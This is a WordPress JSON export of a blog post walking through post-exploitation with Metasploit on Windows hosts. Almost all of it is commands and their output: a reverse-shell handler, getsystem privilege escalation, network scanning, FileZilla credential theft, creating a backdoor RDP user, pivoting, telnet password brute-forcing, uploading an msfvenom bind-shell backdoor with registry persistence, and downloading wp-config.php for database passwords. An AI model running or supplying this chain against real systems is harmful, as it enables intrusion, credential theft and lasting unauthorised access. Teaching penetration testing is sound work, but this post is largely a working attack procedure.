{"id":73,"date":"2017-11-28T15:05:27","date_gmt":"2017-11-28T15:05:27","guid":{"rendered":"http:\/\/tajdini.net\/blog\/?p=73"},"modified":"2020-12-20T11:17:55","modified_gmt":"2020-12-20T09:17:55","slug":"post-exploitation-hacking-techniques","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/malware-and-threat-analysis\/post-exploitation-hacking-techniques\/","title":{"rendered":"Post Exploitation Hacking Techniques"},"content":{"rendered":"<p>we\u2019ll talk about post exploitation hacking techniques you can use after having a meterpreter shell on a remote system.<\/p>\n<p>You\u2019ll see things like:<\/p>\n<ol>\n<li>Privilege Escalation<\/li>\n<li>Maintaining Access<\/li>\n<li>Data Harvesting<\/li>\n<li>Weak Password Cracking<\/li>\n<\/ol>\n<p><strong>NOTE: Don\u2019t take this guide as standard methodology. The purpose is to show different \u201ctips and tricks\u201d you can use in post exploitation phases.<\/strong><\/p>\n<p><strong>Start the Handler<\/strong><\/p>\n<p>We\u2019re assuming we already have a backdoor installed on the remote system. Let\u2019s have our handler running and waiting for remote connections:<\/p>\n<p>msf &gt; use exploit\/multi\/handler<br \/>\nmsf exploit(handler) &gt; set PAYLOAD windows\/meterpreter\/reverse_tcp<br \/>\nPAYLOAD =&gt; windows\/meterpreter\/reverse_tcp<br \/>\nmsf exploit(handler) &gt; set LHOST 172.16.5.40<br \/>\nLHOST =&gt; 172.16.5.40<br \/>\nmsf exploit(handler) &gt; set LPORT 4466<br \/>\nLPORT =&gt; 4466<br \/>\nmsf exploit(handler) &gt; exploit<br \/>\n[*] Started reverse handler on 172.16.5.40:4466<br \/>\n[*] Starting the payload handler\u2026<br \/>\n[*] Sending stage (752128 bytes) to 10.32.120.15<br \/>\n[*] Meterpreter session 1 opened (172.16.5.40:4466 -&gt; 10.32.120.15:1034)<\/p>\n<p><strong>Privilege Escalation<\/strong><\/p>\n<p>Now that we have our session running some privilege escalation commands, let\u2019s get higher privileges on the system:<\/p>\n<p>meterpreter &gt; getsystem<br \/>\n\u2026got system (via technique 1).<br \/>\nmeterpreter &gt; getuid<br \/>\nServer username: NT AUTHORITYSYSTEM<\/p>\n<p><strong>Map the Network<\/strong><\/p>\n<p>An easy way to map the internal network is by running arp_scanner module:<\/p>\n<p>meterpreter &gt; run arp_scanner \u2013r 10.32.120.0\/24<br \/>\n[*] ARP Scanning 10.32.120.0\/24<br \/>\n[*] IP: 10.32.120.1 MAC 00:50:56:b1:eb:b8<br \/>\n[*] IP: 10.32.120.8 MAC 00:50:56:b1:eb:9a<br \/>\n[*] IP: 10.32.120.15 MAC 00:50:56:b1:eb:dd<br \/>\n[*] IP: 10.32.120.17 MAC 00:50:56:b1:eb:de<br \/>\n[*] IP: 10.32.120.13 MAC 00:50:56:b1:eb:df<br \/>\nmeterpreter &gt;<\/p>\n<p>As you see there are 5 total hosts on the network.<\/p>\n<p><strong>Port Scan<\/strong><\/p>\n<p>Once we\u2019ve listed all internal hosts, we need to run a TCP scan to check for open ports.<br \/>\nThat will help us to also identify the role of each system inside the network. To do that, we first need to background our current session and run the tcp_scanner module:<\/p>\n<p>meterpreter &gt; background<br \/>\n[*] Backgrounding session 4\u2026<br \/>\nmsf exploit(handler) &gt; use auxiliary\/scanner\/portscan\/tcp<br \/>\nmsf auxiliary(tcp) &gt; set RHOSTS 10.32.120.17<br \/>\nRHOSTS =&gt; 10.32.120.17<br \/>\nmsf auxiliary(tcp) &gt; run<br \/>\n[*] 10.32.120.17:139 \u2013 TCP OPEN<br \/>\n[*] 10.32.120.17:135 \u2013 TCP OPEN<br \/>\n[*] 10.32.120.17:445 \u2013 TCP OPEN<\/p>\n<p><strong>Data Harvesting<\/strong><\/p>\n<p>There\u2019s a chain of commands for this purpose and we\u2019ll see a few of them.<\/p>\n<p><em>Figured out installed application<\/em><\/p>\n<p>meterpreter &gt; run post\/windows\/gather\/enum_applications<br \/>\n[*] Enumerating applications installed on LS-WINXP<br \/>\nInstalled Applications<br \/>\n======================<br \/>\nName<br \/>\n\u2014-<br \/>\nFileZilla Client 3.5.3<br \/>\nMicrosoft Visual C++ 2008 Redistributable \u2013 x86<br \/>\nMicrosoft Visual C++ 2010 x86 Redistributable<br \/>\nSecurity Update for Windows XP (KB958644)<br \/>\nVMware Tools<br \/>\nWebFldrs XP<br \/>\nVersion<br \/>\n\u2014\u2014-<br \/>\n3.5.3<br \/>\n9.0.30729.4148<br \/>\n10.0.40219<br \/>\n1<br \/>\n8.6.0.6261<br \/>\n9.50.7523<br \/>\n[*] Results stored in:<br \/>\n\/root\/.msf4\/loot\/20120314093539_default_10.32.120.15_host.application_729<br \/>\n568.txt<br \/>\nmeterpreter &gt;<\/p>\n<p>We find Filezilla runing on the system and already know that Metasploit has a module to get credentials from FTP software like Filezilla.<\/p>\n<p>meterpreter &gt; run post\/multi\/gather\/filezilla_client_cred<br \/>\n[*] Checking for Filezilla directory in: C:Documents and<br \/>\nSettingsLSAdminApplication Data<br \/>\n[*] Found C:Documents and SettingsLSAdminApplication DataFileZilla<br \/>\n[*] Checking for Filezilla directory in: C:Documents and<br \/>\nSettingsAdministratorApplication Data<br \/>\n[*] Reading sitemanager.xml and recentservers.xml files from C:Documents<br \/>\nand SettingsLSAdminApplication DataFileZilla<br \/>\n[*] Parsing sitemanager.xml<br \/>\n[*] Collected the following credentials:<br \/>\n[*] Server: 10.32.121.23:21<br \/>\n[*] Protocol: FTP<br \/>\n[*] Username: lsuser_ftp<br \/>\n[*] Password: FTPStrongPwd<br \/>\n[*] Parsing recentservers.xml<br \/>\n[*] Collected the following credentials:<br \/>\n[*] Server: 10.32.121.23:21<br \/>\n[*] Protocol: FTP<br \/>\n[*] Username: lsuser_ftp<br \/>\n[*] Password: FTPStrongPwd<br \/>\nmeterpreter &gt;<\/p>\n<p>We also found a new host with the IP: 10.32.121.23.<\/p>\n<p><strong>Exploit the Server<\/strong><\/p>\n<p>In the previous step, we discovered a new host with IP: 10.32.121.23 running a FTP service on it. Before getting more info about it, let\u2019s try to connect to this system by creating RDP user. For that, we have to interact with our running meterpreter shell and create a new RDP user. Plus, we have to start the RDP service on remote system.<\/p>\n<p>meterpreter &gt; shell<br \/>\nProcess 1100 created.<br \/>\nChannel 6 created.<br \/>\nMicrosoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.<br \/>\nC:Documents and SettingsLSAdmin&gt; net user guest_1 guestpwd \/add<br \/>\nnet user guest_1 guestpwd \/add<br \/>\nC:Documents and SettingsLSAdmin&gt; net localgroup \u201cRemote Desktop Users\u201d<br \/>\nguest_1 \/add<br \/>\nnet localgroup \u201cRemote Desktop Users\u201d guest_1 \/add<br \/>\nThe command completed successfully.<br \/>\nmeterpreter &gt; run getgui -e<br \/>\n[*] Windows Remote Desktop Configuration Meterpreter Script by<br \/>\nDarkoperator<br \/>\n[*] Carlos Perez carlos_perez@darkoperator.com<br \/>\n[*] Enabling Remote Desktop<br \/>\n[*] RDP is disabled; enabling it \u2026<br \/>\n[*] Setting Terminal Services service startup mode<br \/>\n[*] The Terminal Services service is not set to auto, changing it\u2026<br \/>\n[*] For cleanup use command: run multi_console_command -rc<br \/>\n\/root\/.msf4\/logs\/scripts\/getgui\/clean_up__20120314.4155.rc<br \/>\nmeterpreter &gt;<\/p>\n<p>We can login to it with :<br \/>\nroot@kali:~# rdesktop 10.32.120.15 -u guest_1<br \/>\nAfter getting the RDP, you\u2019ll be asked also for the password.<\/p>\n<p><strong>Port Scan<\/strong><\/p>\n<p>Let\u2019s run a TCP scan on the server to check further for open ports. To do that, we first need to add a route to the machine \u2013 we have to use victim 1 as a bridge.<\/p>\n<p>meterpreter &gt; run autoroute -s 10.32.121.0\/24<br \/>\n[*] Adding a route to 10.32.121.0\/255.255.255.0\u2026<br \/>\n[+] Added route to 10.32.121.0\/255.255.255.0 via 10.32.120.15<br \/>\n[*] Use the -p option to list all active routes<br \/>\nmeterpreter &gt;<\/p>\n<p>Now, we can run our scanner module:<\/p>\n<p>meterpreter &gt; background<br \/>\n[*] Backgrounding session 2\u2026<br \/>\nmsf exploit(handler) &gt; use auxiliary\/scanner\/portscan\/tcp<br \/>\nmsf auxiliary(tcp) &gt; set RHOSTS 10.32.121.23<br \/>\nRHOSTS =&gt; 10.32.121.23<br \/>\nmsf auxiliary(tcp) &gt; run<br \/>\n[*] [*] [*] [*] [*] [*] \u2026<br \/>\n10.32.121.23:21 \u2013 TCP OPEN<br \/>\n10.32.121.23:23 \u2013 TCP OPEN<br \/>\n10.32.121.23:80 \u2013 TCP OPEN<br \/>\n10.32.121.23:139 \u2013 TCP OPEN<br \/>\n10.32.121.23:135 \u2013 TCP OPEN<br \/>\n10.32.121.23:445 \u2013 TCP OPEN<\/p>\n<p><strong>Web Server<\/strong><\/p>\n<p>Previously, we found a web server running on intranet. We will port forward the server to us to access the site:<\/p>\n<p>meterpreter &gt; portfwd add -l 8001 -p 80 -r 10.32.121.23<br \/>\n[*] Local TCP relay created: 0.0.0.0:8001 &lt;-&gt; 10.32.121.23:80<br \/>\nmeterpreter &gt;<\/p>\n<p>We should be able to access the internal web site by visiting <strong>localhost:8001<\/strong><\/p>\n<p><strong>Weak Password Cracking<\/strong><\/p>\n<p>On previous tasks, we found also port 23 open on 10.32.121.23 system. Without any service detection, we can figure out there\u2019s probably an Telnet service on. Let\u2019s try to crack the password using telnet cracker auxiliary:<\/p>\n<p>msf auxiliary(tcp) &gt; use auxiliary\/scanner\/telnet\/telnet_login<br \/>\nmsf auxiliary(telnet_login) &gt; set RHOSTS 10.32.121.23<br \/>\nRHOSTS =&gt; 10.32.121.23<br \/>\nmsf auxiliary(telnet_login) &gt; set PASS_FILE \/root\/Desktop\/pwd.txt<br \/>\nPASS_FILE =&gt; \/root\/Desktop\/pwd.txt<br \/>\nmsf auxiliary(telnet_login) &gt; set USER_FILE \/root\/Desktop\/username.txt<br \/>\nUSER_FILE =&gt; \/root\/Desktop\/username.txt<br \/>\nmsf auxiliary(telnet_login) &gt; set THREADS 15<br \/>\nTHREADS =&gt; 15<br \/>\nmsf auxiliary(telnet_login) &gt; set USER_AS_PASS false<br \/>\nUSER_AS_PASS =&gt; false<br \/>\nmsf auxiliary(telnet_login) &gt; set STOP_ON_SUCCESS true<br \/>\nSTOP_ON_SUCCESS =&gt; true<br \/>\nmsf auxiliary(telnet_login) &gt; exploit<br \/>\n\u2026<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00009\/10000] \u2013 Banner: Welcome to Microsoft<br \/>\nTelnet Service login:<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00009\/10000] \u2013 Prompt: netadmin password:<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00009\/10000] \u2013 Result: The handle is<br \/>\ninvalid. Login Failed login:<br \/>\n[*] 10.32.121.23:23 Telnet \u2013 [00010\/10000] \u2013 Attempting:<br \/>\n\u2018netadmin\u2019:\u201912345678\u2032<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00010\/10000] \u2013 Banner: Welcome to Microsoft<br \/>\nTelnet Service login:<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00010\/10000] \u2013 Prompt: netadmin password:<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00010\/10000] \u2013 Result: The handle is<br \/>\ninvalid. Login Failed login:<br \/>\n[*] 10.32.121.23:23 Telnet \u2013 [00011\/10000] \u2013 Attempting:<br \/>\n\u2018netadmin\u2019:\u2019abc123\u2032<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00011\/10000] \u2013 Banner: Welcome to Microsoft<br \/>\nTelnet Service login:<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00011\/10000] \u2013 Prompt: netadmin password:<br \/>\n[*] 10.32.121.23:23 TELNET \u2013 [00011\/10000] \u2013 Result:<br \/>\n*===============================================================<br \/>\nMicrosoft Telnet Server.<br \/>\n*===============================================================<br \/>\nC:Usersnetadmin&gt;<br \/>\n[+] 10.32.121.23 \u2013 SUCCESSFUL LOGIN netadmin : abc123<br \/>\n[*] Attempting to start session 10.32.121.23:23 with netadmin:abc123<br \/>\n[*] Command shell session 2 opened (Local Pipe -&gt; Remote Pipe)<br \/>\n[*] Auxiliary module execution completed<br \/>\nmsf auxiliary(telnet_login) &gt;<\/p>\n<p><strong>Uploading a Backdoor<\/strong><\/p>\n<p><em>* Create a backdoor<\/em><\/p>\n<p>root@kali:~# cd \/pentest\/exploits\/framework3\/<br \/>\nroot@kali:\/pentest\/exploits\/framework3# .\/msfvenom<br \/>\nwindows\/meterpreter\/bind_tcp LPORT=2444 X &gt; \/root\/Desktop\/msf_bind.exe<br \/>\nCreated by msfpayload (http:\/\/www.metasploit.com).<br \/>\nPayload: windows\/meterpreter\/bind_tcp<br \/>\nLength: 298<br \/>\nOptions: {\u201cLPORT\u201d=&gt;\u201d2444\u201d}<\/p>\n<p>Upload it to the remote system and execute it through telnet (as we have the credentials):<\/p>\n<p>meterpreter &gt; upload \/root\/Desktop\/msf_bind.exe \u2018C:\\Documents and<br \/>\nSettings\\LSAdmin\\Local Settings\\Temp\\msf_bind.exe\u2019<br \/>\n[*] uploading : \/root\/Desktop\/msf_bind.exe -&gt; C:\\Documents and<br \/>\nSettings\\LSAdmin\\Local Settings\\Temp\\msf_bind.exe<br \/>\n[*] uploaded<br \/>\n: \/root\/Desktop\/msf_bind.exe -&gt; C:\\Documents and<br \/>\nSettings\\LSAdmin\\Local Settings\\Temp\\msf_bind.exe<br \/>\nmeterpreter &gt;<\/p>\n<p>Run the backdoor using the Telnet session<\/p>\n<p>msf auxiliary(telnet_login) &gt; sessions -i 2<br \/>\n[*] Starting interaction with 2\u2026<br \/>\nC:&gt;cd inetpub<br \/>\ncd inetpub<br \/>\nC:inetpub&gt;cd ftproot<br \/>\ncd ftproot<br \/>\nC:inetpubftproot&gt;msf_bind.exe<br \/>\nmsf_bind.exe<br \/>\nC:inetpubftproot&gt;<\/p>\n<p>Next, we set up a new handler and wait for connections:<\/p>\n<p>msf auxiliary(tcp) &gt; use exploit\/multi\/handler<br \/>\nmsf exploit(handler) &gt; set PAYLOAD windows\/meterpreter\/bind_tcp<br \/>\nPAYLOAD =&gt; windows\/meterpreter\/bind_tcp<br \/>\nmsf exploit(handler) &gt; set RHOST 10.32.121.23<br \/>\nRHOST =&gt; 10.32.121.23<br \/>\nmsf exploit(handler) &gt; set LPORT 2444<br \/>\nLPORT =&gt; 2444<br \/>\nmsf exploit(handler) &gt; exploit<br \/>\n[*] Starting the payload handler\u2026<br \/>\n[*] Started bind handler<br \/>\n[*] Sending stage (752128 bytes)<br \/>\n[*] Meterpreter session 4 opened (172.16.5.40-10.32.120.15:0 -&gt;<br \/>\n10.32.121.23:2444)<br \/>\nmeterpreter &gt;<\/p>\n<p><strong>Privilege Escalation<\/strong><\/p>\n<p><strong>NOTE: Don\u2019t forget \u2013 the first thing you want to do after gaining access to remote system is to escalate you privileges (after migration of course). <\/strong>Let\u2019s run one more:<\/p>\n<p>meterpreter &gt; getsystem<br \/>\n\u2026got system (via technique 4).<br \/>\nmeterpreter &gt; getuid<br \/>\nServer username: NT AUTHORITYSYSTEM<br \/>\nmeterpreter &gt;<\/p>\n<p><strong>Maintaining Access<\/strong><\/p>\n<p>Getting just high privileges isn\u2019t enough, right? Let\u2019s add a value in the registry in order to run our backdoor on startup so we can access the system any time we want:<\/p>\n<p>meterpreter &gt; reg setval -k<br \/>\nHKLM\\software\\microsoft\\windows\\currentversion\\run<br \/>\n\u2018\u201dC:inetpubftprootmsf_bind.exe\u201d\u2018 -v msf_bind<br \/>\nSuccessful set msf_bind.<br \/>\nmeterpreter &gt;<br \/>\n-d<br \/>\nWhere \u2013k indicates the registry key path, -d the value of the value of the key and \u2013v the name.<\/p>\n<p><strong>Data Harvesting<\/strong><\/p>\n<p>We know the system is running a web server and is probably connected to a database. Let\u2019s find\u00a0 usernames and passwords for this site. The easier way is by looking up the config file of the site by downloading it:<\/p>\n<p>meterpreter &gt; ls<br \/>\nListing: C:inetpubwwwrootintranet<br \/>\n====================================<\/p>\n<p>Mode\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Size\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Type\u00a0\u00a0\u00a0\u00a0 Name<br \/>\n\u2014-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 \u2014-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u2014-\u00a0\u00a0\u00a0\u00a0 \u2014-<br \/>\n40777\/rwxrwxrwx\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0\u00a0 dir\u00a0\u00a0\u00a0\u00a0\u00a0 .<br \/>\n40777\/rwxrwxrwx\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0\u00a0\u00a0\u00a0 dir\u00a0\u00a0\u00a0\u00a0\u00a0 ..<br \/>\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 397\u00a0\u00a0\u00a0 \u00a0 \u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 index.php<br \/>\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 16899\u00a0\u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 licence.txt<br \/>\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 9202\u00a0\u00a0\u00a0\u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 readme.html<br \/>\n\u2026<br \/>\n\u2026<br \/>\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 3982\u00a0\u00a0\u00a0\u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 wp-comments-post.php<br \/>\npost.php\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 3165\u00a0\u00a0\u00a0\u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 wp-config.php<br \/>\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 dir\u00a0\u00a0\u00a0\u00a0\u00a0 wp-content<br \/>\n\u2026<br \/>\n\u2026<\/p>\n<p>meterpreter &gt; download wp-config.php \/root\/Desktop\/conf.php<br \/>\n[*] downloading: wp-config.php -&gt; \/root\/Desktop\/conf.php\/wp-config.php<br \/>\n[*] downloaded : wp-config.php -&gt; \/root\/Desktop\/conf.php\/wp-config.php<br \/>\nmeterpreter &gt;<\/p>\n<p>And, finally, the credentials we need:<\/p>\n<p>DB NAME\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 intranet<br \/>\nDB USER\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0 root<br \/>\nDB PASSWORD\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 LSMySqlDBPwd0905<br \/>\nDB HOST\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 10.32.121.12<\/p>\n<p><em>That\u2019s it for now. Hope you find this useful!<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>we\u2019ll talk about post exploitation hacking techniques you can use after having a meterpreter shell on a remote system. You\u2019ll see things like: Privilege Escalation Maintaining [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[228,229,230],"tags":[126,257,8,259,230,198],"class_list":["post-73","post","type-post","status-publish","format-standard","hentry","category-malware-and-threat-analysis","category-network-and-protocol-security","category-penetration-testing","tag-arp","tag-malware","tag-metasploit","tag-network-security","tag-penetration-testing","tag-privilege-escalation"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/73","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=73"}],"version-history":[{"count":2,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/73\/revisions"}],"predecessor-version":[{"id":8540,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/73\/revisions\/8540"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=73"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=73"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=73"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}